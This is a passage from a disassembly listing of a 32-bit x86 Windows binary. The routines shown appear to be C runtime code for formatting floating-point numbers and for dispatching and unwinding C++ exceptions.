mov al, [ecx+eax*2]
and eax, 4
loc_41C8AB: ; CODE XREF: sub_41C86F+2Bj
test eax, eax
jnz short loc_41C883
loc_41C8AF: ; CODE XREF: sub_41C86F+12j
mov cl, byte_4397B0
mov al, [esi]
mov [esi], cl
inc esi
loc_41C8BA: ; CODE XREF: sub_41C86F+56j
mov cl, [esi]
mov [esi], al
mov al, cl
mov cl, [esi]
inc esi
test cl, cl
jnz short loc_41C8BA
pop esi
retn
sub_41C86F endp
; =============== S U B R O U T I N E =======================================
sub_41C8C9 proc near ; CODE XREF: sub_419E38+3E2p
; DATA XREF: sub_417D8B+5o ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dl, byte_4397B0
mov cl, [eax]
test cl, cl
jz short loc_41C8E5
loc_41C8D9: ; CODE XREF: sub_41C8C9+1Aj
cmp cl, dl
jz short loc_41C8E5
mov cl, [eax+1]
inc eax
test cl, cl
jnz short loc_41C8D9
loc_41C8E5: ; CODE XREF: sub_41C8C9+Ej
; sub_41C8C9+12j
mov cl, [eax]
inc eax
test cl, cl
jz short locret_41C916
loc_41C8EC: ; CODE XREF: sub_41C8C9+34j
mov cl, [eax]
test cl, cl
jz short loc_41C8FF
cmp cl, 65h
jz short loc_41C8FF
cmp cl, 45h
jz short loc_41C8FF
inc eax
jmp short loc_41C8EC
; ---------------------------------------------------------------------------
loc_41C8FF: ; CODE XREF: sub_41C8C9+27j
; sub_41C8C9+2Cj ...
mov ecx, eax
loc_41C901: ; CODE XREF: sub_41C8C9+3Cj
dec eax
cmp byte ptr [eax], 30h
jz short loc_41C901
cmp [eax], dl
jnz short loc_41C90C
dec eax
loc_41C90C: ; CODE XREF: sub_41C8C9+40j
; sub_41C8C9+4Bj
mov dl, [ecx]
inc eax
inc ecx
test dl, dl
mov [eax], dl
jnz short loc_41C90C
locret_41C916: ; CODE XREF: sub_41C8C9+21j
retn
sub_41C8C9 endp
; =============== S U B R O U T I N E =======================================
sub_41C917 proc near ; DATA XREF: sub_417D8B+28o
; ___:off_43B910o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
fld qword ptr [eax]
fcomp dbl_424818
fnstsw ax
sahf
jb short loc_41C92C
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41C92C: ; CODE XREF: sub_41C917+Fj
xor eax, eax
retn
sub_41C917 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C92F proc near ; CODE XREF: sub_41D797+430p
; DATA XREF: sub_417D8B+14o ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_0], 0
push [ebp+arg_8]
jz short loc_41C958
lea eax, [ebp+var_8]
push eax
call sub_42067A
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+var_8]
mov [eax], ecx
mov ecx, [ebp+var_4]
mov [eax+4], ecx
leave
retn
; ---------------------------------------------------------------------------
loc_41C958: ; CODE XREF: sub_41C92F+Cj
lea eax, [ebp+arg_8]
push eax
call sub_4206A7
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+arg_8]
mov [eax], ecx
leave
retn
sub_41C92F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C96D proc near ; CODE XREF: sub_41CBEA+17p
; sub_41CC34+47p
var_10 = qword ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp byte_48A084, 0
push ebx
push esi
jz short loc_41C9A2
mov ebx, [ebp+arg_8]
mov eax, dword_48A080
xor ecx, ecx
mov esi, eax
test ebx, ebx
setnle cl
push ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
setz cl
add ecx, [ebp+arg_4]
push ecx
call sub_41CC85
pop ecx
pop ecx
jmp short loc_41C9DA
; ---------------------------------------------------------------------------
loc_41C9A2: ; CODE XREF: sub_41C96D+Cj
mov eax, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+10h+var_10]
call sub_42074B
mov ebx, [ebp+arg_8]
mov esi, eax
push esi
mov edx, [ebp+arg_4]
lea eax, [ebx+1]
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
xor ecx, ecx
test ebx, ebx
setnle cl
add edx, eax
add ecx, edx
push ecx
call sub_4206D4
add esp, 14h
loc_41C9DA: ; CODE XREF: sub_41C96D+33j
cmp dword ptr [esi], 2Dh
mov eax, [ebp+arg_4]
jnz short loc_41C9E6
mov byte ptr [eax], 2Dh
inc eax
loc_41C9E6: ; CODE XREF: sub_41C96D+73j
test ebx, ebx
jle short loc_41C9FE
mov cl, [eax+1]
push edi
lea edi, [eax+1]
mov [eax], cl
mov cl, byte_4397B0
mov eax, edi
pop edi
mov [eax], cl
loc_41C9FE: ; CODE XREF: sub_41C96D+7Bj
xor ecx, ecx
push offset aE000 ; "e+000"
cmp byte_48A084, cl
setz cl
add ecx, eax
add ecx, ebx
push ecx
call sub_4179C0
cmp [ebp+arg_C], 0
pop ecx
pop ecx
mov ecx, eax
jz short loc_41CA25
mov byte ptr [ecx], 45h
loc_41CA25: ; CODE XREF: sub_41C96D+B3j
mov eax, [esi+0Ch]
inc ecx
cmp byte ptr [eax], 30h
jz short loc_41CA6A
mov ebx, [esi+4]
dec ebx
jns short loc_41CA39
neg ebx
mov byte ptr [ecx], 2Dh
loc_41CA39: ; CODE XREF: sub_41C96D+C5j
inc ecx
cmp ebx, 64h
jl short loc_41CA50
mov eax, ebx
push 64h
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_41CA50: ; CODE XREF: sub_41C96D+D0j
inc ecx
cmp ebx, 0Ah
jl short loc_41CA67
mov eax, ebx
push 0Ah
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_41CA67: ; CODE XREF: sub_41C96D+E7j
add [ecx+1], bl
loc_41CA6A: ; CODE XREF: sub_41C96D+BFj
mov eax, [ebp+arg_4]
pop esi
pop ebx
pop ebp
retn
sub_41C96D endp
; =============== S U B R O U T I N E =======================================
sub_41CA71 proc near ; CODE XREF: sub_41CC11+13p
; sub_41CC34+1Ep
var_18 = qword ptr -18h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
cmp byte_48A084, 0
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
push edi
jz short loc_41CAAC
mov eax, dword_48A088
mov ebx, [esp+10h+arg_8]
mov esi, dword_48A080
cmp eax, ebx
jnz short loc_41CADC
xor ecx, ecx
cmp dword ptr [esi], 2Dh
setz cl
add ecx, eax
add ecx, ebp
mov eax, ecx
mov byte ptr [eax], 30h
and byte ptr [eax+1], 0
jmp short loc_41CADC
; ---------------------------------------------------------------------------
loc_41CAAC: ; CODE XREF: sub_41CA71+Fj
mov eax, [esp+10h+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+18h+var_18]
call sub_42074B
mov ebx, [esp+18h+arg_8]
mov esi, eax
push esi
mov eax, [esi+4]
add eax, ebx
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
add eax, ebp
push eax
call sub_4206D4
add esp, 14h
loc_41CADC: ; CODE XREF: sub_41CA71+22j
; sub_41CA71+39j
cmp dword ptr [esi], 2Dh
mov edi, ebp
jnz short loc_41CAEA
mov byte ptr [ebp+0], 2Dh
lea edi, [ebp+1]
loc_41CAEA: ; CODE XREF: sub_41CA71+70j
mov eax, [esi+4]
test eax, eax
jg short loc_41CB01
push 1
push edi
call sub_41CC85
pop ecx
mov byte ptr [edi], 30h
pop ecx
inc edi
jmp short loc_41CB03
; ---------------------------------------------------------------------------
loc_41CB01: ; CODE XREF: sub_41CA71+7Ej
add edi, eax
loc_41CB03: ; CODE XREF: sub_41CA71+8Ej
test ebx, ebx
jle short loc_41CB48
push 1
push edi
call sub_41CC85
mov al, byte_4397B0
pop ecx
mov [edi], al
mov esi, [esi+4]
inc edi
pop ecx
test esi, esi
jge short loc_41CB48
cmp byte_48A084, 0
jz short loc_41CB2D
neg esi
jmp short loc_41CB33
; ---------------------------------------------------------------------------
loc_41CB2D: ; CODE XREF: sub_41CA71+B6j
neg esi
cmp ebx, esi
jl short loc_41CB35
loc_41CB33: ; CODE XREF: sub_41CA71+BAj
mov ebx, esi
loc_41CB35: ; CODE XREF: sub_41CA71+C0j
push ebx
push edi
call sub_41CC85
push ebx
push 30h
push edi
call sub_417330
add esp, 14h
loc_41CB48: ; CODE XREF: sub_41CA71+94j
; sub_41CA71+ADj
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_41CA71 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CB4F proc near ; CODE XREF: sub_41CC34+34p
var_14 = qword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [edi]
fstp [esp+14h+var_14]
call sub_42074B
mov dword_48A080, eax
mov ecx, [eax+4]
dec ecx
mov ebx, [ebp+arg_8]
mov dword_48A088, ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
push eax
push ebx
setz cl
add ecx, [ebp+arg_4]
mov esi, ecx
push esi
call sub_4206D4
mov eax, dword_48A080
add esp, 14h
mov ecx, [eax+4]
dec ecx
cmp dword_48A088, ecx
setl cl
mov byte_48A08C, cl
mov eax, [eax+4]
dec eax
cmp eax, 0FFFFFFFCh
mov dword_48A088, eax
jl short loc_41CBD5
cmp eax, ebx
jge short loc_41CBD5
test cl, cl
jz short loc_41CBC6
loc_41CBBC: ; CODE XREF: sub_41CB4F+72j
mov al, [esi]
inc esi
test al, al
jnz short loc_41CBBC
and [esi-2], al
loc_41CBC6: ; CODE XREF: sub_41CB4F+6Bj
push ebx
push [ebp+arg_4]
push edi
call sub_41CC11
add esp, 0Ch
jmp short loc_41CBE5
; ---------------------------------------------------------------------------
loc_41CBD5: ; CODE XREF: sub_41CB4F+63j
; sub_41CB4F+67j
push [ebp+arg_C]
push ebx
push [ebp+arg_4]
push edi
call sub_41CBEA
add esp, 10h
loc_41CBE5: ; CODE XREF: sub_41CB4F+84j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41CB4F endp
; =============== S U B R O U T I N E =======================================
sub_41CBEA proc near ; CODE XREF: sub_41CB4F+8Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_C]
mov byte_48A084, 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41C96D
and byte_48A084, 0
add esp, 10h
retn
sub_41CBEA endp
; =============== S U B R O U T I N E =======================================
sub_41CC11 proc near ; CODE XREF: sub_41CB4F+7Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov byte_48A084, 1
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_41CA71
and byte_48A084, 0
add esp, 0Ch
retn
sub_41CC11 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CC34 proc near ; CODE XREF: sub_419E38+3AAp
; DATA XREF: sub_417D8Bo ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 65h
jz short loc_41CC6F
cmp [ebp+arg_8], 45h
jz short loc_41CC6F
cmp [ebp+arg_8], 66h
jnz short loc_41CC5C
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41CA71
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41CC5C: ; CODE XREF: sub_41CC34+13j
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41CB4F
jmp short loc_41CC80
; ---------------------------------------------------------------------------
loc_41CC6F: ; CODE XREF: sub_41CC34+7j
; sub_41CC34+Dj
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41C96D
loc_41CC80: ; CODE XREF: sub_41CC34+39j
add esp, 10h
pop ebp
retn
sub_41CC34 endp
; =============== S U B R O U T I N E =======================================
sub_41CC85 proc near ; CODE XREF: sub_41C96D+2Cp
; sub_41CA71+83p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
mov edi, [esp+4+arg_4]
test edi, edi
jz short loc_41CCA8
push esi
mov esi, [esp+8+arg_0]
push esi
call sub_417AB0
inc eax
push eax
push esi
add esi, edi
push esi
call sub_4182C0
add esp, 10h
pop esi
loc_41CCA8: ; CODE XREF: sub_41CC85+7j
pop edi
retn
sub_41CC85 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CCAA proc near ; CODE XREF: ___:00417F6Cp
; sub_417FD5+1Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_10]
push edi
mov edi, 19930520h
cmp [esi], edi
jz short loc_41CCC0
call sub_41D552
loc_41CCC0: ; CODE XREF: sub_41CCAA+Fj
mov eax, [ebp+arg_0]
test byte ptr [eax+4], 66h
jz short loc_41CCE8
cmp dword ptr [esi+4], 0
jz short loc_41CD3E
cmp [ebp+arg_14], 0
jnz short loc_41CD3E
push 0FFFFFFFFh
push esi
push [ebp+arg_C]
push [ebp+arg_4]
call sub_41CFF1
add esp, 10h
jmp short loc_41CD3E
; ---------------------------------------------------------------------------
loc_41CCE8: ; CODE XREF: sub_41CCAA+1Dj
cmp dword ptr [esi+0Ch], 0
jz short loc_41CD3E
cmp dword ptr [eax], 0E06D7363h
jnz short loc_41CD22
cmp [eax+14h], edi
jbe short loc_41CD22
mov ecx, [eax+1Ch]
mov ecx, [ecx+8]
test ecx, ecx
jz short loc_41CD22
movzx edx, byte ptr [ebp+arg_1C]
push edx
push [ebp+arg_18]
push [ebp+arg_14]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call ecx
add esp, 20h
jmp short loc_41CD41
; ---------------------------------------------------------------------------
loc_41CD22: ; CODE XREF: sub_41CCAA+4Aj
; sub_41CCAA+4Fj ...
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_1C]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call sub_41CD45
add esp, 20h
loc_41CD3E: ; CODE XREF: sub_41CCAA+23j
; sub_41CCAA+29j ...
push 1
pop eax
loc_41CD41: ; CODE XREF: sub_41CCAA+76j
pop edi
pop esi
pop ebp
retn
sub_41CCAA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CD45 proc near ; CODE XREF: sub_41CCAA+8Cp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = byte ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_4]
and byte ptr [ebp+var_14], 0
mov eax, [eax+8]
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jl short loc_41CD65
mov ecx, [ebp+arg_10]
cmp eax, [ecx+4]
jl short loc_41CD6A
loc_41CD65: ; CODE XREF: sub_41CD45+16j
call sub_41D552
loc_41CD6A: ; CODE XREF: sub_41CD45+1Ej
push ebx
push esi
mov esi, [ebp+arg_0]
mov ebx, 0E06D7363h
push edi
mov edi, 19930520h
cmp [esi], ebx
jnz loc_41CEC1
cmp dword ptr [esi+10h], 3
jnz short loc_41CDDE
cmp [esi+14h], edi
jnz short loc_41CDDE
cmp dword ptr [esi+1Ch], 0
jnz short loc_41CDDE
mov esi, dword_48A090
test esi, esi
jz loc_41CEBC
mov eax, dword_48A094
push 1
push esi
mov [ebp+arg_8], eax
mov byte ptr [ebp+var_14], 1
call sub_4208D2
pop ecx
test eax, eax
pop ecx
jnz short loc_41CDC0
call sub_41D552
loc_41CDC0: ; CODE XREF: sub_41CD45+74j
cmp [esi], ebx
jnz loc_41CEC1
cmp dword ptr [esi+10h], 3
jnz short loc_41CDDE
cmp [esi+14h], edi
jnz short loc_41CDDE
cmp dword ptr [esi+1Ch], 0
jnz short loc_41CDDE
call sub_41D552
loc_41CDDE: ; CODE XREF: sub_41CD45+41j
; sub_41CD45+46j ...
cmp [esi], ebx
jnz loc_41CEC1
cmp dword ptr [esi+10h], 3
jnz loc_41CEC1
cmp [esi+14h], edi
jnz loc_41CEC1
mov edi, [ebp+var_10]
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_418123
add esp, 14h
mov ebx, eax
loc_41CE15: ; CODE XREF: sub_41CD45+162j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_18]
jnb loc_41CEAC
cmp [ebx], edi
jg short loc_41CEA1
cmp edi, [ebx+4]
jg short loc_41CEA1
mov eax, [ebx+10h]
mov [ebp+arg_0], eax
mov eax, [ebx+0Ch]
test eax, eax
mov [ebp+var_C], eax
jle short loc_41CE9E
loc_41CE3A: ; CODE XREF: sub_41CD45+131j
mov eax, [esi+1Ch]
mov eax, [eax+0Ch]
lea edi, [eax+4]
mov eax, [eax]
test eax, eax
mov [ebp+var_8], eax
jle short loc_41CE6B
loc_41CE4C: ; CODE XREF: sub_41CD45+124j
push dword ptr [esi+1Ch]
push dword ptr [edi]
push [ebp+arg_0]
call sub_41CF94
add esp, 0Ch
test eax, eax
jnz short loc_41CE7A
dec [ebp+var_8]
add edi, 4
cmp [ebp+var_8], eax
jg short loc_41CE4C
loc_41CE6B: ; CODE XREF: sub_41CD45+105j
dec [ebp+var_C]
add [ebp+arg_0], 10h
cmp [ebp+var_C], 0
jg short loc_41CE3A
jmp short loc_41CE9E
; ---------------------------------------------------------------------------
loc_41CE7A: ; CODE XREF: sub_41CD45+119j
push [ebp+var_14]
push [ebp+arg_1C]
push [ebp+arg_18]
push ebx
push dword ptr [edi]
push [ebp+arg_0]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_41D0A5
; ---------------------------------------------------------------------------
add esp, 2Ch
loc_41CE9E: ; CODE XREF: sub_41CD45+F3j
; sub_41CD45+133j
mov edi, [ebp+var_10]
loc_41CEA1: ; CODE XREF: sub_41CD45+DEj
; sub_41CD45+E3j
inc [ebp+var_4]
add ebx, 14h
jmp loc_41CE15
; ---------------------------------------------------------------------------
loc_41CEAC: ; CODE XREF: sub_41CD45+D6j
cmp [ebp+arg_14], 0
jz short loc_41CEBC
push 1
push esi
call sub_41D41A
pop ecx
pop ecx
loc_41CEBC: ; CODE XREF: sub_41CD45+56j
; sub_41CD45+16Bj ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41CEC1: ; CODE XREF: sub_41CD45+37j
; sub_41CD45+7Dj ...
cmp [ebp+arg_14], 0
jnz short loc_41CEE7
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+var_10]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_41CEEC
add esp, 20h
jmp short loc_41CEBC
; ---------------------------------------------------------------------------
loc_41CEE7: ; CODE XREF: sub_41CD45+180j
jmp sub_41D4FC
sub_41CD45 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CEEC proc near ; CODE XREF: sub_41CD45+198p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push ecx
push ecx
cmp dword_48A098, 0
push esi
push edi
jz short loc_41CF1D
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_417FFA
add esp, 1Ch
test eax, eax
jnz short loc_41CF90
loc_41CF1D: ; CODE XREF: sub_41CEEC+Ej
mov edi, [ebp+arg_14]
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_418123
add esp, 14h
mov esi, eax
loc_41CF39: ; CODE XREF: sub_41CEEC+A2j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_8]
jnb short loc_41CF90
cmp edi, [esi]
jl short loc_41CF88
cmp edi, [esi+4]
jg short loc_41CF88
mov eax, [esi+0Ch]
mov ecx, [esi+10h]
shl eax, 4
add eax, ecx
mov ecx, [eax-0Ch]
test ecx, ecx
jz short loc_41CF62
cmp byte ptr [ecx+8], 0
jnz short loc_41CF88
loc_41CF62: ; CODE XREF: sub_41CEEC+6Ej
push 1
add eax, 0FFFFFFF0h
push [ebp+arg_1C]
push [ebp+arg_18]
push esi
push 0
push eax
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41D0A5
; ---------------------------------------------------------------------------
add esp, 2Ch
loc_41CF88: ; CODE XREF: sub_41CEEC+57j
; sub_41CEEC+5Cj ...
inc [ebp+var_4]
add esi, 14h
jmp short loc_41CF39
; ---------------------------------------------------------------------------
loc_41CF90: ; CODE XREF: sub_41CEEC+2Fj
; sub_41CEEC+53j
pop edi
pop esi
leave
retn
sub_41CEEC endp
; =============== S U B R O U T I N E =======================================
sub_41CF94 proc near ; CODE XREF: sub_41CD45+10Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_0]
mov eax, [edi+4]
test eax, eax
jz short loc_41CFEB
cmp byte ptr [eax+8], 0
lea edx, [eax+8]
jz short loc_41CFEB
mov esi, [esp+8+arg_4]
mov ecx, [esi+4]
cmp eax, ecx
jz short loc_41CFC5
add ecx, 8
push ecx
push edx
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_41CFE7
loc_41CFC5: ; CODE XREF: sub_41CF94+1Fj
test byte ptr [esi], 2
jz short loc_41CFCF
test byte ptr [edi], 8
jz short loc_41CFE7
loc_41CFCF: ; CODE XREF: sub_41CF94+34j
mov eax, [esp+8+arg_8]
mov eax, [eax]
test al, 1
jz short loc_41CFDE
test byte ptr [edi], 1
jz short loc_41CFE7
loc_41CFDE: ; CODE XREF: sub_41CF94+43j
test al, 2
jz short loc_41CFEB
test byte ptr [edi], 2
jnz short loc_41CFEB
loc_41CFE7: ; CODE XREF: sub_41CF94+2Fj
; sub_41CF94+39j ...
xor eax, eax
jmp short loc_41CFEE
; ---------------------------------------------------------------------------
loc_41CFEB: ; CODE XREF: sub_41CF94+Bj
; sub_41CF94+14j ...
push 1
pop eax
loc_41CFEE: ; CODE XREF: sub_41CF94+55j
pop edi
pop esi
retn
sub_41CF94 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CFF1 proc near ; CODE XREF: sub_41CCAA+34p
; ___:0041D0E7p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_424860
push offset sub_41F774
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ebx, [ebp+arg_0]
mov esi, [ebx+8]
mov [ebp+var_1C], esi
mov edi, [ebp+arg_8]
loc_41D023: ; CODE XREF: sub_41CFF1+8Aj
cmp esi, [ebp+arg_C]
jz short loc_41D07D
cmp esi, 0FFFFFFFFh
jle short loc_41D032
cmp esi, [edi+4]
jl short loc_41D037
loc_41D032: ; CODE XREF: sub_41CFF1+3Aj
call sub_41D552
loc_41D037: ; CODE XREF: sub_41CFF1+3Fj
and [ebp+var_4], 0
mov eax, [edi+8]
mov eax, [eax+esi*8+4]
test eax, eax
jz short loc_41D052
push 103h
push ebx
push eax
call sub_41D4B0
loc_41D052: ; CODE XREF: sub_41CFF1+53j
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_41D072
; ---------------------------------------------------------------------------
push [ebp+var_14]
call sub_41D08F
pop ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov esi, [ebp+var_1C]
loc_41D072: ; CODE XREF: sub_41CFF1+65j
mov eax, [edi+8]
mov esi, [eax+esi*8]
mov [ebp+var_1C], esi
jmp short loc_41D023
; ---------------------------------------------------------------------------
loc_41D07D: ; CODE XREF: sub_41CFF1+35j
mov [ebx+8], esi
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41CFF1 endp
; =============== S U B R O U T I N E =======================================
sub_41D08F proc near ; CODE XREF: sub_41CFF1+6Ap
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jz short loc_41D0A0
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41D0A0: ; CODE XREF: sub_41D08F+Cj
jmp sub_41D4FC
sub_41D08F endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_41D0A5 proc near ; CODE XREF: sub_41CD45+151p
; sub_41CEEC+94p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
cmp [ebp+arg_18], 0
push ebx
mov ebx, [ebp+arg_14]
push esi
push edi
mov edi, [ebp+arg_4]
jz short loc_41D0C7
push [ebp+arg_18]
push ebx
push edi
push [ebp+arg_0]
call sub_41D256
add esp, 10h
loc_41D0C7: ; CODE XREF: sub_41D0A5+10j
cmp [ebp+arg_24], 0
push [ebp+arg_0]
jnz short loc_41D0D3
push edi
jmp short loc_41D0D6
; ---------------------------------------------------------------------------
loc_41D0D3: ; CODE XREF: sub_41D0A5+29j
push [ebp+arg_24]
loc_41D0D6: ; CODE XREF: sub_41D0A5+2Cj
call sub_417EFC
sub_41D0A5 endp
; ---------------------------------------------------------------------------
mov esi, [ebp+24h]
push dword ptr [esi]
push dword ptr [ebp+18h]
push dword ptr [ebp+14h]
push edi
call sub_41CFF1
mov eax, [esi+4]
push 100h
push dword ptr [ebp+28h]
inc eax
mov [edi+8], eax
push dword ptr [ebx+0Ch]
push dword ptr [ebp+18h]
push dword ptr [ebp+10h]
push edi
push dword ptr [ebp+8]
call sub_41D120
add esp, 2Ch
test eax, eax
jz short loc_41D11B
push edi
push eax
call sub_417EBA
loc_41D11B: ; CODE XREF: ___:0041D112j
pop edi
pop esi
pop ebx
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D120 proc near ; CODE XREF: ___:0041D108p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_424870
push offset sub_41F774
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_10]
mov [ebp+var_2C], eax
xor ebx, ebx
mov [ebp+var_24], ebx
mov esi, [ebp+arg_4]
mov ecx, [esi-4]
mov [ebp+var_28], ecx
mov ecx, dword_48A090
mov [ebp+var_1C], ecx
mov ecx, dword_48A094
mov [ebp+var_20], ecx
mov edi, [ebp+arg_0]
mov dword_48A090, edi
mov ecx, [ebp+arg_8]
mov dword_48A094, ecx
mov [ebp+var_4], ebx
mov [ebp+var_4], 1
push [ebp+arg_18]
push [ebp+arg_14]
push eax
push [ebp+arg_C]
push esi
call sub_417F81
add esp, 14h
mov [ebp+var_2C], eax
mov [ebp+var_4], ebx
or [ebp+var_4], 0FFFFFFFFh
call sub_41D1E6
mov eax, [ebp+var_2C]
loc_41D1AD: ; CODE XREF: sub_41D1C6+16j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41D120 endp
; =============== S U B R O U T I N E =======================================
sub_41D1BC proc near ; DATA XREF: ___:00424880o
push dword ptr [ebp-14h]
